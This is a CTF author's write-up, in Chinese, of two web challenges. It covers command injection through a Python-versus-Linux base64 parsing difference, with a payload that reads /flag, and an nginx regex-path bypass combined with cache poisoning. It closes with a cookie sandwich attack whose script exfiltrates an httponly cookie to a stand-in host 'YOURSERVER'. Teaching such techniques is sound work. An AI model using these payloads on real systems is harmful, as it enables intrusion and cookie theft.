N1CTF junior 2025 (2/2)出题小记
这次出了两个web题,一个ping一个unfinished
其中ping是当半个签到用的,效果也还算符合预期
但是unfinished被非预期麻了
直接document.cookie也能泄露出cookies,不用绕httponly(因为打错字了...

以下是wp
ping
这题乍一看神似当初入门web做的命令拼接
不过真的当单纯的命令拼接做的时候就会发现,这过滤几乎不可能绕过
def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False
if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False但是注意到命令的构建方式echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh
这里是将用户传入的base64用linux解码后拼接起来执行,然而过滤是先用python解码后过滤
这里便存在一个解析差异
python的base64库在解析时遇到字符串中间含有=的,会根据情况有不同的行为,我们可以通过在字符串的base64编码末尾加入base64来测试
import base64
text = ['SGVsbG8=SGVsbG8=', # Hello
'RU5PQ0g=RU5PQ0g=', # ENOCH
'Q1RGQ1RG', # CTF
'R29vZA==R29vZA==', # Good
]
for item in text:
print(base64.b64decode(item))输出则是
b'Hello'
b'ENOCH'
b'CTFCTF'
b'Good'可以看到,python遇到字符换中有=会倾向于终止解析(在不同情况下,例如直接在完整base64中插入=,会出现不同的行为,可自行探索)
但是同样的情况,在linux下则不同
text="SGVsbG8=SGVsbG8= RU5PQ0g=RU5PQ0g= Q1RGQ1RG R29vZA==R29vZA=="
for item in $text
do
echo "-------------------------------------"
printf " 输入 ▸ %s\n" "$item"
printf " 输出 ▸ "
echo "$item" | base64 -d
echo ""
done输出则是
-------------------------------------
输入 ▸ SGVsbG8=SGVsbG8=
输出 ▸ HelloHello
-------------------------------------
输入 ▸ RU5PQ0g=RU5PQ0g=
输出 ▸ ENOCHENOCH
-------------------------------------
输入 ▸ Q1RGQ1RG
输出 ▸ CTFCTF
-------------------------------------
输入 ▸ R29vZA==R29vZA==
输出 ▸ GoodGood可以看到这里全部都解析了两次,也就是说linux的base64遇到字符串中的=,会将其从中间拆开后分别解析。
利用这个特性,我们只需要发送两段base64,其中第一段的base64格式结尾有=,第二段则是正常的命令拼接
例如前半段是0.0.0.0后半段是;ls,拼接后则是MC4wLjAuMA==O2xz,然后将其以json格式发送即可看到命令回显
获取flag:
{
"ip_base64": "MC4wLjAuMA==O2NhdCAvZmxhZw=="
}Unfinished
题目实现了一个用户注册登录,更新bio并交给bot预览的功能
不过由于/api/bio会检验current_user.username == username
@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio事实上bot并不能成功访问到用户的bio,因此这个功能不开放使用,并且将nginx配置为不允许访问/api/bio/端口
location / {
proxy_pass http://127.0.0.1:5000;
}
location /api/bio/ {
return 403;
}
location ~ \.(css|js)$ {
proxy_pass http://127.0.0.1:5000;
proxy_ignore_headers Vary;
proxy_cache static_cache;
proxy_cache_valid 200 10m;
}但是由于nginx的规则是正则大于路径匹配,因此只需要将用户名设置为xxx.css即可让bot成功访问xxx.css用户的bio,并且由于缓存功能,这里也会绕过对登录的限制
现在问题就是如何获取一个httponly的cookie了
context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])我们可以使用三明治攻击
原理是利用cookie的值里可以带上引号,然而浏览器发送cookies的时候并不会对引号做额外的处理
如果有一个能控制并回显的cookie,用引号开头,并且设置另一个cookie用引号结尾,发送的请求头就类似于
Cookie: cookie1="1; cookie2=2"
然而此时后端解析时,会认为只有一个cookie1,值为1; cookie2=2
如果能对cookie进行排列,将httponly的cookie排列在中间,那么便能将其泄露
这里选用端口/ticket,会显示一个叫ticket的cookie。另外,我们需要排序,可以通过设置cookie的path来改变cookies发送时的顺序
最后写个脚本
<script>
document.cookie = 'ticket="1; path=/ticket';
document.cookie = 'flag2=2"; path=/';
fetch("/ticket").then(r=>r.text()).then(t=>{let m=t.match(/flag\{[^}]+\}/);m&&fetch("http://YOURSERVER/",{method:"POST",body:"flag="+m[0]})});
</script>这样子设置cookies之后,浏览器发送的请求头便类似于
Cookie: ticket="1; flag=flag{fake}; flag2=2",回显中会出现flag,然后便可以提取后发送出去
将脚本设置为bio然后手动访问一遍/api/bio/xxx.css来缓存,最后提交给bot访问即可